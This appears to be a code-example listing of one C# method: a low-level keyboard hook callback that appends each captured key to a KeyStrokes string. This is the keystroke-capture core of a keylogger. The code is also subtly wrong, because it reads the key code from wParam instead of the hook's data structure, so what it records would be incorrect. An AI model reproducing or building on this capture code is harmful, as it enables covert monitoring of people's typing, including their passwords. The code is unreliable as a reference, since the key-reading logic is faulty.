示例#1
0
        private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
        {
            //write stuff in here lol:P
            int KeyId = Marshal.ReadInt32(wParam);

            KeyStrokes += Char.ConvertFromUtf32(KeyId).ToString();
            return(APIs.CallNextHookEx(_hookID, nCode, wParam, lParam));
        }